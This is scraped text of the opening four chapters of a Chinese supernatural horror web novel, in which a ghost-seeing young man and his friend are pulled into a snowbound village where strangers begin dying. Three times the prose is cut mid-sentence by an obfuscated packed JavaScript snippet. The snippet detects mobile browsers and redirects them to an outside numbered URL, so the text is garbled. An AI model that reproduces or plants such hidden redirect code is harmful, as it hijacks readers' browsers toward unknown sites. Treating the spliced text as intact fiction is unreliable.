《开挂后被阴湿男鬼缠上了》 1. 风雪山庄(一) 元旦当天晚上八点,莘南小区后方的康兴大道上人满为患,小吃街和表演将道路一分为二,人流如泉波暗涌水泄不通。 一位身形高挑的年轻男子略显艰难地钻出了拥堵重灾区,一身黑色风衣被风吹得微微拂动,裤筒笔直,寒风簌簌往里灌。 浅灰色中长发在灯光下照得近乎银白,发尾向前延至锁骨,他随手拂了拂微乱蓬松的额发,指尖被冻得薄红,站在路边拿着手机放至耳边—— “说的什么,听不见一点。” 他另一只手里拿着根烤肠,咬了一口慢慢嚼着,眼睫浅淡细长,瞳孔竟透着一种边界不清的淡粉,像是粉墨晕染,不似常人。 电话那边的声音分贝拔高—— “我是说——苏微命你给我早点回家!” 他又默默将手机拿远了点,声色淡淡道,“我买夜宵呢。” “你又不怕撞见鬼了?你那眼睛一到晚上就撞鬼……” “这里人多,到家撞鬼才可怕好吧,只有我一个人。” 电话那边是他的发小,名叫林路,苏微命左眼白天失明晚上见鬼的情况连他爸妈都不清楚,就只向林路一人说过。 幸而这个人爹系得很,年纪轻轻操心的命,苏微命爸妈二人在国外工作,他大学毕业后就用着爷爷教过的东西给人处理处理凶宅之类的邪事,钱在手中就什么也不管,凡事都是林路在提拎着他。 林路跟他不在一个城市,来回坐高铁要两个小时,之前那人过来想陪他住,但又被苏微命买票赶了回去。 毕竟人跟人不一样,人家有稳定的工作和生活,不是说搬就能随便搬的。 那边还在滔滔不绝,他左耳朵进右耳朵出,吃完烤肠将竹签扔到一旁的垃圾桶里,垂眸用鞋尖无聊地碾了碾地上的沙尘。 寒风很冷,冻得他禁不住轻轻发抖,但他不想回那个总是贴着黄符摆着法器的冰冷的家,抬手挽了挽被风吹乱的鬓发。 “你说说你,明明怕鬼为什么还干那种活?老老实实找份工作谈个恋爱,晚上早点睡,这不就什么事都没有了吗,你别让它影响你的生活……” “我跟你谈啊。”他弯着唇角笑道。 一声车鸣,风中翕动的浅色睫毛轻轻掀起,见前方两米处的路口处停了一辆黑色出租车,车窗摇下来露出一张男人的脸,冲他吹了个口哨—— “美女,打车吗?” 苏微命没理他那个称呼,像是习以为常了,只是指了指身后不远处的大厦道,“不用了,我家就在后面那小区。” 那人愣怔一瞬,在他开口说话前完全没料到他是个男人,张了张口又道,“呦,那挺近,我顺道送你?” 苏微命,“……” “不用了,我现在还不想回去。” 他说罢移开视线继续和林路通话,“刚才说到哪儿了来着?” 林路没好气道,“说到你赶紧回家睡觉别在外边鬼混。” “那不是一开始的话题吗?” 苏微命这记性着实不好,有时候拿在手中的东西一转眼就不知道放哪去了,翻天倒地地找许久才发现就在衣兜里,挂在眼皮上的东西也看不着。 见那男人已经开车走了,他上了马路牙子沿着路边走,黑色风衣衣角被风卷着,街上人还是多得走不动。 “我这就回去了,先挂了。” “别挂,等到家再挂。” “你要真闲你就养个小孩吧,头一次见你这么上赶着操心的。” 对面没有接话,又在装死。 这片也算是新开发的一个小夜市,又比常规的规模大些,一到晚上就亮起各种彩灯,今天又逢元旦,人流拥堵鞭炮阵阵,烟火气十足。 他也不知道那鞭炮声是从哪里发出的,听着非常不对劲,被震得都有些耳鸣了,同各种嘈杂的噪音混在一起,还有林路淹没其中的说话声。 “滋滋——滋滋——” 耳鸣声越来越重,苏微命有些不适地眯了眯眼,周遭人群沸扬的声音被模糊了边界,他突然后知后觉自己已听不清别人说话了。 只能看到周遭路人的嘴巴一张一合,却无论如何也听不清他们在说什么,哪怕是一个字眼。 一个眨眼的功夫,好像老式方形电视机的雪花闪屏,眼前所有流动的物体刹那间全部消失。 苏微命倏地顿住脚步。 周身气温骤降到极致,直接冻得他感官麻木,呆滞地看着面前空寂的车摊。 炸锅里面的热油还在噼里啪啦地响着,卖冰激凌的铁质圆形挖勺孤零零在案板上慢慢打了个转儿,烧烤架上的烤肉还冒着热烟…… 彩灯全部熄灭,人群一众凭空消失。 苏微命感觉自己在做梦。 “苏微命?”电话里林路清透的声音猛地将他拉回了现实,告诉他眼前一切都是真实的,“干什么呢你?也不说话,到家了吗?” 到家了吗? 我也不知道我这是到哪儿了啊。 他没有说话,发现自己张不开嘴,动不了。 那边还在叫他,好像是这死寂世间仅剩的声音了。 那双淡瞳中映出的众多车摊也渐渐消去,最后只剩下一片空寂,平整的水泥地面像巨蛇蜕皮般脱去表层,起伏蜿蜒至不尽的远方,形成一道山间小路,视野一片苍白。 有什么凉凉的东西轻轻扫在脸侧,几点白色飘到额发末梢—— 雪。 下雪了? 不对,他才看清前方景象,不是视野苍白,而是雪铺满了前路,天色灰蒙,望不见月光。 这是哪里啊。 他拿着手机懵然想道。 “这是什么地方?” 静得要死的身后突然冒出一个低沉的人声,苏微命心跳一梗险些被吓晕,转身后撤一步直接骂出声,“我操……” 站在他身后的那人比他高一点,是个男人,穿着件居家羽绒服,长相是非常得女孩子喜欢的帅气类型。 “为什么我突然来这儿了?” “你问我我问谁!”苏微命被他吓得半死,不轻不重地推了他一把,“你他妈穿越来了?!” 林路握住他的手腕,蹙着眉道,“你看看你冻的,出门不能多穿点?” 大哥你这关注点对吗? 苏微命见他要把那羽绒服脱下来给自己穿上,忙按住他的手道,“不不不我不冷,你这丑死了。” 林路顿了一下,表情无语,“丑死也比冻死强。” “我不穿,太丑了太丑了……”苏微命故作嫌弃,试图用语言攻击让他妥协。 那羽绒服也不暖和,居家型的,那人穿得不比他厚,脱下来更容易被冻死。 林路审美深受重创,翻了个白眼不再管他。 苏微命给他拉好拉链,“现在是……” 一声低叫打断了他的话音,回头望去,只见又一位年轻女孩凭空出现,震惊地望着他们两个—— “这里是哪里呀?!” 她的眼中没有害怕,只有不可置信的惊异,甚至还有点……兴奋? 苏微命觉得自己可能看走眼了。 “我们也不知道这是哪里,就突然出现在这儿了。”林路观察着周围的环境,包括脚下,四周一片都是茫茫白雪,空无一物。 而且这雪极细,落下来竟然不化,如果这样一直下,地面的积雪只会越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409004|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越高。 紧接着,又凭空出现了好几个普通人。 大部分都很惊慌,有十八九岁的学生,有三四十岁的中年人,男男女女,竟然直涨到了十人左右。 “这是哪儿啊?” “没有路啊往哪走?” “这个雪是人工造的吗怎么不化啊?” “我的手机怎么没有信号了?你们的呢?” 几人杂乱又无理头地交流着,说着他们自己前一秒还在干啥干啥,人在格外紧张不安的时候就习惯性找人说话,无形之中找聊得上来的人搭伙组团。 手机都没有信号,电话打不出去,信息发不出去,只能看个时间,或者拍照照明。 他们都知道这件事太诡异了,无法用常理解释。 奇怪的是,那个一开始很热情的小姑娘在见到人多起来后,默默地不再开口说话了。 直到人数涨到了十三人。 “那先认识一下吧。”一开始那个小姑娘同苏微命林路站在一起,小声道,“我叫安童,叫我童童就好。” “苏微命。” “林路。” 她小鹿一样的眼睛打量着二人,“你们是情侣吗?” 苏微命干笑了两声,“不是。” “哦,抱歉,刚才我看你们在扒拉衣服才问的,那我跟你们一起。” “一起?” 苏微命看她一眼。 这个小姑娘有点说不上来的感觉。 还未待对方再说些什么,周遭蓦地安静了下来。 因为他们的面前突然出现了一位佝偻着身子、满脸褶皱的老太太,正眼球浑浊地盯着他们,雪落在她的身上,隐没在满头白发之中。 就在两方僵持之际,她双手背在身后开口,“来了啊……来了就好……鬼师们,村里人已经等你们很久了……” “不是、这到底是什么情况啊,我到底为什么突然出现在这里了?” “什么鬼师什么村啊,我要回家,我没空跟你们玩什么角色扮演好吗?” “这是什么高科技沉浸体验式脑内游戏吗?” 老太太没有回答他们的问题,只是慢慢转身,往一个方向踱步走去。 虽然看起来走的很慢,但是脚下离众人的距离却很快拉远。 只见她转身而去的方位,数百米之外,渐渐浮现出了一个房屋错落的山庄。 安童率先迈开步子跟了上去,脚步轻快,像只开心的小麻雀。 苏微命和林路见状也跟了上去。 其余十人面面相觑,这里没有别的路,没有食物,天又那么冷,只能跟着老太太往那山庄里走。 他们深一脚浅一脚地行进,因为老太太对他们不理不睬,有人在后面烦躁地暗骂,一位男生礼貌地问道—— “奶奶,这是要去哪里啊?” “去我们村里,七日后的魂祭,就拜托诸位鬼师了。” 七日、魂祭? 鬼师? 这是她第二次提这个称呼。 苏微命知道有一种给死人喊魂复活的鬼师,当然那种都被称为迷信…… 又有人接着问些问题,老太太像没听见一般,无论如何也不应了。 行数百米之外,他看到了不远处一道几乎被大雪完全掩埋的铁轨,像一条淤黑血管般穿过苍茫雪原延绵至无尽的远方。 一辆覆着厚雪的老式绿皮火车在那道铁轨上停滞着,前几节车厢的铁门大开着,风雪从破碎的玻璃窗间呼啸而过,发出近似猛兽哀嚎的声音。 众人抬头,右前方俨然矗立着一面巨大的石碑,上面歪歪扭扭刻着四个大字—— “风雪山庄”。 2. 风雪山庄(二) 风雪山庄是什么意思? 是说这里会一直下雪吗? 不好的预感更加强烈。 其他人一看这种景象也有点受不住了,一位中年男人站在外面不敢进去,像是看鬼门关一般颤颤巍巍道—— “能不能不进去啊?我想回家,我不管你们这是什么东西什么地方,放我回家可以吗?我家里还有孩子……” 老太太回眸看着他,眼珠给人一种浑浊脏污的不适感,如同腐肉中挤出的泛黄的脓水,风雪不知何时大了起来,淹没模糊了她的容貌,却刻得她脸上皱纹沟壑愈深,沙哑沉缓的嗓音透风而来—— “不进村……就待在外面。” 她又自顾自往里走,其他人也都犹豫着陆续进了山庄。 这里的房子分布零星,但是数量应是不少,大抵可以推测出这个山庄的规模很大,只是都门户紧闭,没有半分人烟气,除了风声什么也听不到。 苏微命怀疑那些房子里根本就没有人住。 十多个人里有单独走的,有两个人并肩的,最多三个人一起,形成一个不长不短的队伍,落在队伍最后面的一个女孩抑制着心里的恐惧,默默安慰自己可能就是做了一场梦过一会就醒了,结果一抬头,发现前面的人换了一个。 正是方才那个没跟上来的中年男人。 她瞳孔骤缩,往后面看了一眼,风雪已经完全将山庄入口淹没,什么也看不清,像是将他们几人封死在了其中。 “你不是没进来吗?” 她又猛得转过头去,冷风卷着头发打在脸上,因为心中惊慌,声音不由得大了些,前面几人闻声往后看过来。 “谁跟你说我没进来?”男人回头俯视着她。 “不、不是……” 女孩惶恐地望着他。 明明她是最后一个跟进来的,在中年男人之前,因为当时她也在犹豫,所以才落在了队伍后面,明明在她前面的是一个高个子瘦瘦女生…… 他什么时候到自己前面的? 苏微命没有说话,默默观察着二人的表情。 前面的人都没注意后面,他们也不想往神神鬼鬼那方面想,打糊弄道—— “你记错了吧,或者他到你前面你没注意。” “就是啊,别太紧张了。” “谁会留在外面啊那么冷,说是不想进来但不进还能上哪去?” “可是……”女孩顿住。 可是他真的没跟进来。 ……难道是自己太紧张记忆错乱了? 她又有些动摇了。 “走吧……先进屋。”老太太往这边看了一眼,推开生了锈的绿漆铁门。 陈年老旧的门轴发出一阵连绵细长的刺耳声响,他们跟着进了院中。 安童用胳膊肘碰碰苏微命,“感觉像剧组弄的角色扮演剧本杀一样呢。” 苏微命牵强地笑了笑。 要真是剧组弄的倒也好了。 可惜不是。 到底是什么能让一众现实人群凭空消失,又把他们几个人带到这里,构建出了这样的一个场景世界…… 雪地反射出的光线映入眼中,周遭极冷,每个人都是手脚冰冷无知觉的状态。 苏微命的手突然被一只温热的手掌握住。 他抬眸望去,看见林路眉梢微挑,有些得意道,“暖和吧?” “你放哪里暖的?” 是挺热乎的。 “放裆里。”对方的音调降下来,“你满意吧。” 苏微命,“……” “净问些没用的。”林路吐槽道。 “大家伙晚上注意保暖,我们这儿的天不养人。” “七天后魂祭开始,到时候你们只要让那死去的十位村民重新活过来……” 她开始絮絮叨叨地自言自语,推开两扇木门,又带着他们进了堂屋。 “为了光明神保佑仪式顺利进行,需要你们从明天开始,每天都去村东边的教堂里点三根白蜡……” 安童紧接问道,“跪在那里烧完才能回来吗?” “……对。” “哦哦。” “坐吧。” 老太太给几人拿了板凳,有人抖了抖沙发上的布垫,用纸擦干净凳面,十三人就这样围着火炉在沙发板凳上坐下,里面的柴火烧得辟叭乱响,赤红的火光映在众人眼中,烤得眼球发涩,谁都没有再说话,气氛浓重得像是要上断头台。 老太太又往炉子里添了把柴火,起身道,“过一会儿你们就回房间睡觉吧,楼上几层都可以……两个人睡一间。” “可是我们有十三个人啊?怎么分?”有人问道。 她没有说话,好像没听到似的,径直出了堂屋。 “操了问什么都不说他娘的到底要干什么,装神弄鬼。”一个男人愤懑道,烦躁地抓了把头发,结果抓下来一把白色粉末,是外面落而不化的细雪。 苏微命透过那扇溅着绿漆的破旧窗户望去,老太太佝偻的背影慢慢融入呼啸着的风雪之中。 感觉雪越下越大了。 他打量了几眼这个房间,各面墙皮都有脱落,西面最为严重,上面用钉子挂着几张老旧的福字和广告纸,同桌柜一样布了一层厚尘,昏暗的白炽灯下,整间屋子都灰蒙蒙的,好像好多年没有人打扫过了,不像是正在住人的样子。 有男生提议,状态还算冷静—— “她说两个人住一间,我们找同伴分房吧,早些睡,有什么事明天再说,反正也就这样了。” 苏微命想起他就是一开始在路上询问老太太我们要去哪里的人。 “你叫什么名字呀?”安童坐在板凳上睁着大眼睛看他,纯良无害地问道。 男生看她一眼,“白焾。” “哦哦。” 安童十分有精神地看着他们组队,当人快分配得差不多时,她挽住一位因为太过内向而还没有找到同伴的女孩,“我们一起吧。” 女孩不安的眼神亮了亮,顿时如见救星,小声感激道,“好啊,谢谢。” 苏微命无疑是同林路一间,眼皮抬也没抬,安静地坐在那里烤火。 最后剩下一位中年妇女,十三人里本就男多女少,她无措地望着周围的人,目光求助地扫过众人,最终落在两个年轻女孩身上。 “……我能不能和你们凑和一晚?” 两个女生互相对视一眼,面露为难,“老太太说只能两个人,不是我们不想,是……太害怕了……” “况且一间屋子也不一定能睡下三个人啊,反正有很多房间,你先自己一人一间看看……” “看看?!”中年妇女的表情蓦地有几瞬崩裂,情绪几近失控道,“怎么看?看看我会不会死?!谁知道这个鬼地方会不会出人命?莫名其妙到这种地方谁知道会发生什么?!” 其中一个女孩忍不住回怼,语调带上了哭腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409005|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那我们也是莫名其妙到这里的啊!我们也不知道这是怎么回事啊,你害怕我们就不害怕了?!” 眼见得场面有些失控,紧绷压抑的情绪仅需一点火苗就能彻底点燃,跟安童一组的女生张了张口想说“要不你跟我们一起”,结果还没发声便被安童握住手腕一捏,及时制止了。 同情不能放在性命之上。 苏微命倒是有些诧异,那姑娘并不像表面上那么天真单纯。 “行了,你要是不嫌弃,跟我们一块。” 最后白焾提出要三个人一起住的邀请,勉强化解了这场僵局。 就这样,他们上了楼,各自选了自己的房间。 苏微命跟林路进了二楼走廊处第三间空房,木门,里面有一张床两套被褥,没想到的是单独睡觉的房间里竟然还有炉子,里面的柴火正在烧着。 林路走到床边摸了摸床铺被子,没有想象中令人不适的阴潮,反而还挺干燥,只是这里的东西都很陈旧了,他把那两套被子挨个抖了抖,荡起一层扬灰。 玻璃窗蒙得一层尘土,窗棂被绿漆染色,边缘溅上了几滴,仍能模糊地看到外面大雪纷飞的景象。 “你有没有觉得那雪像是粗一点的粉末?” 苏微命正在用手疯狂揉弄自己的头发,方才人多不大方便,现在终于可以将落在自己头上的雪花弄掉了。 “什么粉末是灰白的?”他下意识问道。 话一出口他便顿住,顺直头发的手指还插在发间。 他们对视一眼,谁都没再说话,林路默默用手拍落自己发间的雪。 “这火还灭不灭?”苏微命问道。 “不用,烧着暖和,不然半夜冻死了。” 苏微命仰头观察了一下天花板,木板黑漆漆的一片,中间吊着一盏发黄发黑的白炽灯,还附着某些凝结的深色不明物。 九点之后天色就黑的很快了,连地上的白雪都不再能看得清,浓重的黑压迫下来,呜呜风声中,他听到了有人在哄叫哀嚎。 让他想起了刚进山庄时,风雪从火车碎窗间横灌而过的声音,只是这次听到的明显不只是风,还有真切的、杂乱的、从远方传来的人群的声音。 夜晚出来的,还是一大批,肯定不是什么正常东西。 “你听到了么?”林路叠被子的动作倏地一顿,惊异地回头看他。 苏微命站在窗前,面无表情地望着外面的夜色,声音很轻,“听到了,你觉得是从哪里发出来的?就我所能视范围内,没有见到任何鬼魂。” 他的左眼在晚上能看到魂体,在这个地方应该也是可以。 “距离应该不近不远……”苏微命走到床边脱下外套,“睡觉吧,困死我了。” 林路关上灯同他一起上床,钻进各自的被窝,望着天花板低声道,“你说晚上不会出什么事吧?” “你看这环境也不大像是安全的样子。” 苏微命用被子蒙着头,声音有些发闷—— “如果是中式恐怖,被子就是最好的防御结界,头手脚都不要露出来,睡着了就万事大吉。” “总结就十二个字,好好睡觉,不要乱跑,不作不死。” 林路轻笑,“如果是西式恐怖呢?” “那就只能听天由命了,等着被砍吧……赶紧把头蒙上,掖好四周。” 林路将被子拉到头顶,跟他一样蒙了个严实。 风雪吹了一夜。 3. 风雪山庄(三) 苏微命一下睡到第二天早上八点多,还是被林路叫醒的。 迷迷糊糊睁开眼睛,就看到那人阴着张脸,跪坐在床上耷拉着眼皮看他—— “这种地方还能一觉睡到天亮,你也是个神人。” 那双浅色眼睫颤了颤,像是在笑,眸中带着些睡意的淡粉瞳孔被天光映得如玉石剔透。 “一觉睡到天亮,就算死了也能少受不少罪,迷糊着死总比清醒着死要好吧。” 看他的脸色苏微命就知道事情没那么简单,唇边笑意更深,“你昨晚见着什么了?” 林路抬手指了指那烧得正旺的火炉,“里边儿木头太少了,不知道其他人的屋里是什么样的,就昨晚后半夜我正睡觉呢,突然醒了,看着你蜷着身子跟个汤圆似的。” “我那是冷的。”苏微命道。 “然后我看那炉子火已经很小了,快灭了,我又起床给你烧火。” 他惊异地微微睁大眼睛。 林路简直比亲爹还要负责,这种地方、三更半夜,起床烧火。 “然后,”他加重语气,抽了口冷气回忆道,“我正往里塞着木头,一抬头就看见那老太太站在窗户外边,怼着张大脸看着我。” “我他妈的吓死了!”林路一拍大腿,抬手比划着,“我靠,我敢肯定她肯定不是人,她当时那个眼睛睁得特别特别大,什么人大半夜的还站在外边啊,根本就是……” 苏微命听着他讲,脸上表情淡了下去,“你赶紧钻进被窝里啊。” “钻个屁,火还没烧着呢,我就硬闷着头继续烧火,没想到过一会儿她就走了。” 真不知道他是傻还是不惜命。 苏微命嘴角动了动,好像要嘲笑他一下,结果没能笑出来,移开视线淡淡道—— “烧火哥,你加油,小弟会永远记着你的好。” 林路跟他一起长大,知道他什么脾性,就不想让别人为他做些什么,他知道那人心里别扭不舒服,所以也不再继续这个话题,拉着他起床递过外衣—— “行了又没出什么事,我就是提醒你今天晚上睡觉前多放点木头,别又半夜灭了。” 收拾好后他们就下了楼,老旧的木制楼梯在脚下被踩得吱嘎作响,上面的厚尘几乎一踩一个薄薄的脚印,到了堂屋已经有七八个人坐在那里了,炉子上放着一口大锅,老太太坐在旁边添柴,看样子是在做饭。 大多数人的脸色都很颓丧,一看就是昨晚没睡好或者根本没睡,还有人在小声议论着到底什么时候能放他们回家。 这件事从头到尾都太邪门,诡异的环境诡异的老太太,众人都下意识想到恐怖电影的那些场景,未曾想自己有一天竟会无比真实地遇上。 苏微命和林路下来找地方坐下后,老太太就开始掀锅盛粥,一碗一碗地端上桌,众人的视线都下意识落在那些粥上,幸好成色和豆米都与平常的没什么区别。 白焾突然道,“还有两个人没下来。” 安童数了数人数,一共十一人。 “真的诶,那么长时间了,我去上去看看。” 众人自己都顾不过来,更没心思操心别人,由着她去了。 苏微命端起粥尝了一口,就是甜甜的八宝粥,不算难喝。 陆续也有人开始端起碗坐在桌边默默喝粥,有两三个人没有碰,不知道是胃口不好还是因为什么,可能也跟林路一样昨天晚上看到脏东西了。 两分钟后,安童蹦蹦跳跳地下楼,站在楼梯口一手拉着扶手半歪着身子荡荡,语气随意道—— “那两个人死啦。” “哗啦”一声瓷碗摔碎的声响,一位女生的粥一个没拿稳直接打在了地上,所有人说不上是惊异还是恐惧地望向她。 安童也没多作什么解释,只是道,“看我干嘛,我说的是真话。” 于是白焾站了起来,径直往楼上走,安童带路。 有个胆大的男人同他一起,苏微命与林路对视一眼,死人这种事毕竟不是小事,或许能从中得出什么信息线索,总比什么都不知道强,于是也默契地站起身跟了上去。 安童将他们带到三楼楼梯口第二间房前,推开房门,想象中残忍血腥的画面并没有出现,也没有扑面而来的血腥气,几人的视线在屋内扫了一圈,最终落在了那张床上。 白焾率先走过去,直接掀开那两层被褥。 只见两个年轻男人面色青紫地躺在床上,身体僵直双目圆睁,面部表情却放松,瞳孔放大,嘴角诡异地牵着笑容。 这副场景着实瘆人,白焾身后的男人吓得后退两步。 “像是在温度极低的环境下生生冻死的。”他回头看向安童,“这是你给盖的?” 安童点点头,又摇摇头,“一开始就是这样,我掀开看了一眼又给盖了回去。” 他放下被子,面色微沉。 苏微命刚才远远看了一眼,他从小就对一些阴气鬼气很敏感,虽然那两个人身上没有让他感觉到任何阴森不详的气息,但直觉又告诉他这两个人的死没有那么简单。 其实理论上来说也不正常,这里虽冷,就算没有烧火也不会到把人活活冻死的程度,还关着窗户,更何况还有火炉。 对了,火炉。 苏微命突然想到什么,转头看向窗下的火炉,半蹲下身检查了一下里面已经冷却透顶的木柴残块,柴灰发白。 林路于他身边蹲下,轻声道,“应该是跟我们那屋一样,柴火太少,半夜灭了。” 苏微命没再管床边那几人,也没说什么话,默默转身下了楼。 他与林路陆续坐回桌边,老太太还在炉前烧火,他状若无意地对其他人问道,“你们昨晚炉子里那柴火够吗?” 有些人先是愣了下,然后懵然点了点头,有两个人说看了柴火有些少怕不够烧的,睡觉前添了点。 白焾从楼上下来时正巧听到他问那句话,意味不明地抬眸看他一眼。 苏微命点了点头,继续喝那剩下的半碗粥。 老太太的话很重要。 很重要。 每一句、每一句。 他记得之前进院时她看似聊家常似的喃喃出的那句话—— 「大家伙晚上注意保暖,我们这儿的天不养人。」 晚上注意保暖。 这不是提醒,这是要求,晚上的炉火不能断灭,不能出门,或者说,睡时不能让自己感到寒冷。 多亏林路昨晚半夜起床在炉火灭前添了木柴,不然他们俩应该也会死。 苏微命不禁又细细回想遇到老太太在那之后说的每一句话。 我们这些人是所谓的“鬼师”。 任务是“复活死去的村民”。 一个重要时间点和事件是“七日后的魂祭”。 所以七日后,魂祭上会发生什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409006|168800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就他所听过的一种说法,鬼师复活死人要喊魂,做一些特别的仪式,但是不能保证每个人都能成功救回…… 苏微命轻轻叹了口气,可能还活不到魂祭的那天呢,现在想这些还太早了。 有几个人一听到死人后直接连饭都吃不下了,待吃饭的人都吃得差不多了后,老太太扯着她那枯朽的嗓音道,“你们可以去教堂拜神了,跪着烧完三支白蜡为止,延着村里的河,一直往东走。” “白蜡能向神明传递愿望……我们都是光明神的信徒。” 众人都不大想去,这鬼地方房子挺多,但从没见过一丝人烟,好像都是空的,来的时候整座山庄都静得可怕,只有呼啸的风声,只有他们这几个活人。 今早已经莫名其妙死了两个人了,谁知道出去那白茫雪地里会发生什么,这雪落下也不化,一脚踩下去直没到脚腕,难走得很。 还要跪着点蜡,蜡烛燃完才能回来。 一般人都会对未知的环境和地点感到恐惧,尤其是这种环境下,所以有人问道—— “必须所有人都去吗?” 老太太仍是过了许久才回答问题,久到别人都以为她不会回答了,才又道,“……至少四人,每天都要去,否则神明发怒……我们一个也跑不了。” 令苏微命感到奇怪的是这里的一些风格。 既有东方元素也有西方元素。 她口中的“教堂”和“神明”,又联系上“白蜡”,明显指的是西方的东西,鬼师喊魂又是属于东方迷信,而这里的一些房屋河流,包括老太太的长相,都给人一种西方美学混着东方文化的怪异感。 “那我们就先去六个人。”白焾道,“为了公平起见,明天让剩下五个人去。” 苏微命知道他在担心什么。 在不知道会发生什么的前提下,全员出动是很冒险且不明智的一个选择。 这个人挺有领导能力。 凡事总要有人去探探路。 于是今天自愿去的就是安童、白焾、苏微命、林路,以及另两位年轻女生。 苏微命纯粹想蹭点好处,他虽然拖延症严重,但谁让白焾这位有责任的优秀领导干部也去呢,除了生死之事靠天命,其他事情,当他的组员可以完全躺平。 看了眼手机,已经快上午十点了,六人起身出发,没有别的任务,其他五个人就留在屋子里。 推开布满铁锈的大门,几人立于覆雪苍茫的寂静山庄之中,来的时候没怎么注意,现在才发现屋旁果然有一条结冰覆着雪的小河,勉强还能看出河岸的界线,他们按老太太说的一直延着河流往东走。 白焾和安童走在最前面,苏微命和林路自觉地站在那两位女生后面,将最安全的位置留给二人。 “那两个人的尸体呢?不用管不用埋?”林路一手揣兜漫不经心道,视线却是落在白焾的背影上。 果然回话的也是他,“不用管。” 他貌似是停顿了一下,接着道,“我们没有那个义务吧,放在那里就行了,这种地方谁还顾得上死人。” 林路随意应了一声。 虽然林路这个问题也是闲得皮痒,但白焾那下意识又理所当然脱口而出的“不用管”,让人听来真的太违和了。 而且他后面那三句话就特别像是在找补,语气虽然没什么异样,用词却有些浮躁。 苏微命隐隐觉得不对劲。 4. 风雪山庄(四) 雪一直都在下,混着凌厉的寒风吹刮进人的衣领和头发里,自从苏微命和林路意识到这不化的细雪可能是某种不吉利的东西时,站在雪地里就有种头皮发麻的不适感。 “我感觉我的耳朵都要被堵上了。”林路两只手捂着耳朵。 苏微命的黑风衣衣角被风吹得摇曳,宛若辽阔雪原中低低飞荡的鸦羽,他双手插兜,狭长的眼睛微微眯起—— “戴帽子啊蠢货。” 林路笑得贱兮兮的,“六个人里边就你没帽子,叫你臭美出去玩儿非穿个破风衣,我陪你。” 苏微命听到最后那“我陪你”后愣了一下,抬腿就要给他一脚,被对方早有预料地躲开了。 “神经病。”苏微命白他一眼。 林路看着他被风吹起的额发下露出苍白的侧脸,眸光动了动,无奈地叹了口气。 他轻声喃喃道—— “那也巧了……怎么就让我们遇到这种事了。” 六人冰天雪地闷头走了近一个小时,抬头一望仍是一片白茫,视线透过飘飞的白雪,发现远方除了雪还是雪。 安童急了,将脚从雪中拔出,下一步又重重踏陷下去,恹恹吐槽道,“这都走那么久了,怎么还没见着教堂啊?” “这个山庄到底有多大啊。” “这条小河怎么这么长啊,它要流到天上去吗。” “老太太是不是坑我们呢?我们是不是回不去了?” 安童哀声叹气,埋怨的话一句一句地冒出来,累得歪头歪脑,另外两个女生却是越听越害怕,一起牵着手慢慢跟着她和白焾,时而回头望望,不知是在望来时的路还是在确认一下身后那两人还在不在。 苏微命也累得快走不动了。 林路看着他,“我背你吧。” “不用。”他拒绝得毫不犹豫,自顾自半弯下腰撑着膝盖微微张着口喘气,发尾垂落至下颔和锁骨下方,自唇中吐出的热气化作小片白雾,很快又被冷风吹散。 林路走到前面拽住他的胳膊,不顾对方的抗拒直接将人背到了背上,对着其余四人惊异的目光解释道—— “他从小身体就差,阴气重又怕冷,经不起这种折腾,我背着他走得快些。” 最后一句是刻意说给苏微命听的,目的是让那人老实一点。 安童睁大眼睛,“还说不是情侣!” “我是他爹。”林路冷冷道。 他显然也被这莫名其妙的情景安排和剧本作业弄得不耐烦了。 主要是因为这里的环境对苏微命这种体质的人来说简直太过苛刻,林路最清楚不过。 背后人趴在他的肩上,凑到耳边轻声道,“你这样显得我像个残废,我真的能走,过半个小时要是还不到,你就赶紧放我下来。” 他没应声。 那人又在他耳边重复了一遍。 “知道了。”林路没好气道。 苏微命给他把羽绒服上的帽子戴上了,毫不见外地将手插进他衣领里暖手,隔着一件保暖毛衣。 又过了半个小时,中间两个女生也受不住那么长时间的雪地跋涉,周遭温度又极冷,其中一位不由得怯怯道—— “要不我们回去吧?或许老太太说错了方向呢?” 另一位用双手拉紧帽子,声音被风削了大半,边走边应和道,“就是啊,不应该走了那么久还不到,而且感觉雪又越下越大了……” 白焾慢下了脚步,仍是继续往前走,“不行,都走了那么长时间了,就是因为远因为雪大才更要快些到那里,不然今天点不了蜡或者天黑来不及回去,我们都会很危险。” “应该不会太远,主要是这里积雪太厚,平常环境下的路程在这里要花两倍的时间,大家再坚持一下。” “你怎么确定老太太没有记错方位啊?”女生捂着肚子气喘吁吁道。 “不会的。” 这回是白焾和安童一齐说道。 那位女生还要再说些什么,话未出口突然被什么绊了一脚,身形不稳朝前扑去,前面的白焾闻声转身,眼疾手快地伸手堪堪将她扶住。 